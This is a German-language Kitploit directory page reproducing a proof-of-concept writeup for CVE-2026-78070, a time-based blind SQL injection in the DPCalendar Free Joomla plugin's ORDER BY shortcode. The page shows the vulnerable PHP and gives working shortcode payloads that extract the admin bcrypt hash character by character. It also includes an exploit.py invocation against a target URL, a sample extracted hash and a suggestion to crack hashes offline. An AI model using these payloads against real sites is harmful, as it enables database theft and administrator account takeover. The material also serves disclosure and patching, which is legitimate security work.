Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-78070 — SQL-Injection über ORDER-BY-Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2 | Kitploit
Tools/GitHubGitHub/toanln-cov/cve-2026-78070
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsDatenbanksicherheit
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

SQL-Injection über ORDER-BY-Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

Repository anzeigen
14vor 21 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SQL-Injection über ORDER-BY-Shortcode in plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Autor-Level-Benutzer extrahiert vollständige Datenbank über zeitbasierte Blind-Injection

CVE CVSS CWE-89 Affected Fixed Researcher


ZUSAMMENFASSUNG

Das Content-Plugin plg_content_dpcalendar parst {{#events order="..."}}{{/events}}-Shortcodes, die in Joomla-Artikeltexte eingebettet sind. Der Wert des Parameters wird direkt an übergeben und umgeht dabei vollständig die Whitelist des Modells in . Der Wert wird anschließend in eine SQL--Klausel eingefügt, die nur durch geschützt ist — unzureichend gegen Subquery-Injection.

order
EventsModel::setState('list.ordering', ...)
populateState()
ORDER BY
DatabaseDriver::escape()

Ein Benutzer mit Autor-Rolle, der Artikel erstellen oder bearbeiten kann, kann dies ausnutzen, um Daten aus der Datenbank über zeitbasierte Blind-SQL-Injection zu exfiltrieren. Die SQLi wird innerhalb der eigenen Artikel-Speicheranfrage des Angreifers ausgelöst — keine Interaktion mit einem Opfer, kein veröffentlichter Artikel und keine Administrator-Beteiligung erforderlich.


BETROFFENE VERSIONEN

KOMPONENTEVERWUNDBARGETESTET AUFBEHOBEN
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Hinweis: Diese Schwachstelle unterscheidet sich von CVE-2026-57831 (unauthentifizierte SQLi in EventsModel.php über filter_created_by, behoben in v10.11.2). Der vorliegende Befund betrifft das Content-Plugin (plg_content_dpcalendar) — eine andere Datei, ein anderer Parameter, und war zum Zeitpunkt der Entdeckung in der neuesten Version ungepatcht.


DETAILS ZUR SCHWACHSTELLE

Typ: SQL-Injection (CWE-89) — Zeitbasierte Blind-Injection
Erforderliche Authentifizierung: Autor-Rolle (kann Joomla-Artikel erstellen/bearbeiten)
Endpunkt: POST /index.php/submit-article?view=form&layout=edit
Datei: plg_content_dpcalendar/src/Extension/DPCalendar.php

Grundursache

Der Shortcode-Parser des Plugins iteriert über alle Schlüssel-Wert-Parameter in einem {{#events}}-Tag und setzt den Modellstatus direkt, wobei die Whitelist-Validierung von populateState() vollständig umgangen wird:

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — VERWUNDBARE PARAMETERVERARBEITUNG

root@kitploit:~
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VERWUNDBAR: setzt den Sortierstatus direkt aus Benutzereingabe
            // umgeht die populateState()-Whitelist vollständig
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

Der kontaminierte Wert fließt mit nur Anführungszeichen-Escaping in EventsModel::getListQuery() ein — unzureichend, um Subquery-Injection in einem ORDER BY-Kontext zu blockieren:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER-BY-KONSTRUKTION

root@kitploit:~
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() escaped nur Anführungszeichen — verhindert KEINE Subquery-Injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

Eine Subquery wie (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passiert $db->escape() unverändert, da sie keine Anführungszeichen enthält. Das resultierende SQL lautet:

root@kitploit:~
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

Der ORDER BY-Ausdruck wird nur ausgewertet, wenn das Ergebnisset nicht leer ist — dies erfordert mindestens ein veröffentlichtes zukünftiges DPCalendar-Ereignis, die Standardbedingung für jede aktive DPCalendar-Installation.

Wichtiges Verhalten: Die SQLi wird innerhalb der Speicher-/Bearbeitungs-POST-Anfrage selbst ausgelöst — die Zeitverzögerung ist direkt in der HTTP-Antwort (303 Redirect) beobachtbar. Der Angreifer misst die Antwortzeit seiner eigenen POST-Anfrage; kein Artikelaufruf, kein Seiten-Reload und kein Veröffentlichungsschritt ist erforderlich.


PROOF OF CONCEPT

Voraussetzungen:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Konto mit Autor-Rolle (kann Artikel erstellen/bearbeiten)
  • plg_content_dpcalendar-Plugin aktiviert (Standard bei DPCalendar-Installation)
  • Mindestens 1 veröffentlichtes DPCalendar-Ereignis mit zukünftigem start_date
  • Ein vom Administrator erstelltes Frontend-Menüelement Artikel einreichen

Szenario: Zeitbasierte Blind-SQLi → Admin-Anmeldedaten extrahieren

0. Vorbedingung — mindestens ein veröffentlichtes DPCalendar-Ereignis mit zukünftigem Startdatum muss existieren

Das Plugin setzt filter.state = 1 und list.start-date = NOW() vor dem Aufbau der Abfrage. ORDER BY-Subqueries werden nur ausgeführt, wenn das Ergebnisset Zeilen enthält; wenn 0 Zeilen übereinstimmen, wird SLEEP() nie aufgerufen.

1. Als Benutzer mit Autor-Rolle anmelden

Authentifizieren Sie sich über ein Autor-Konto am Joomla-Frontend. Zu keinem Zeitpunkt dieses Angriffs ist ein Admin-Zugriff erforderlich.

2. Artikel mit TRUE-Bedingungs-Payload einreichen — 5-Sekunden-Verzögerung beobachten

Navigieren Sie zum Frontend-Artikel-Einreichungsformular (/submit-article). Fügen Sie den folgenden Payload in den Artikeltext ein und klicken Sie auf Speichern:

root@kitploit:~
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

Die POST-Antwort selbst wird um ~5 Sekunden verzögert. onContentPrepare wird während der Joomla-Speicher-Pipeline ausgelöst und ruft die verwundbare Abfrage vor dem 303-Redirect auf. Kein Artikelaufruf oder Veröffentlichung ist erforderlich.

3. FALSE-Bedingung bestätigt saubere Zeitunterscheidung

Ersetzen Sie 1=1 durch 1=2 (immer falsch). SLEEP wird nicht ausgelöst und die Antwort erfolgt sofort (~100ms), was eine zuverlässige Zeitunterscheidung bestätigt.

root@kitploit:~
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Admin-Passwort-Hash extrahieren — Byte für Byte

Verwenden Sie ASCII(SUBSTRING(...))-Vergleiche, um jedes Zeichen auszulesen. Einfache Anführungszeichen müssen vermieden werden (der Shortcode-Regex [^"\']* stoppt bei jedem Anführungszeichen); verwenden Sie stattdessen dezimale ASCII-Werte:

root@kitploit:~
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

Antwortzeit ~5s → TRUE → char[1] = '$' (ASCII 36 — erstes Zeichen eines bcrypt-$2y$10$...-Hashes).

5. Automatisierte Extraktion — vollständige Admin-Anmeldedaten ausgegeben

Führen Sie exploit/exploit.py aus, um die Byte-für-Byte-Extraktionsschleife zu automatisieren:

root@kitploit:~
python3 exploit/exploit.py http://TARGET

Das Skript meldet sich als Autor an, sendet präparierte Payloads und extrahiert Benutzername, E-Mail und den vollständigen 60-stelligen bcrypt-Passwort-Hash. Laboregebnis bestätigt: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

BedingungAntwortzeit
TRUE: ASCII(SUBSTR(password,1,1))=36~5.000 ms
FALSE: ASCII(SUBSTR(password,1,1))=65~100 ms

AUSWIRKUNG

  1. Vollständiger Datenbank-Lesezugriff — Ein Benutzer mit Autor-Rolle kann beliebige Daten aus der Joomla-Datenbank extrahieren, einschließlich Admin-Passwort-Hashes (jos_users.password), Session-Tokens und Benutzer-E-Mails, über zeitbasierte Blind-SQL-Injection.
  2. Keine Admin-Interaktion erforderlich — Die SQLi wird innerhalb der eigenen Artikel-Speicheranfrage des Angreifers ausgelöst. Kein Opfer muss Inhalte ansehen oder mit ihnen interagieren.
  3. Minimale forensische Spur — Der bösartige Artikel muss nie veröffentlicht werden. Ein Entwurfsartikel (state=0) ist ausreichend und hinterlässt fast keine sichtbaren Beweise für den Angriff.
  4. Offline-Passwort-Cracking — Extrahierte bcrypt-Hashes können offline mit Hashcat (Modus 3200) oder John the Ripper geknackt werden, was möglicherweise zur vollständigen Übernahme des Administrator-Kontos führt.

REFERENZEN

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78070
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78070
  • GitHub Advisory: https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
  • Vendor Repository: https://github.com/Digital-Peak/DPCalendar-Free
Tool herunterladen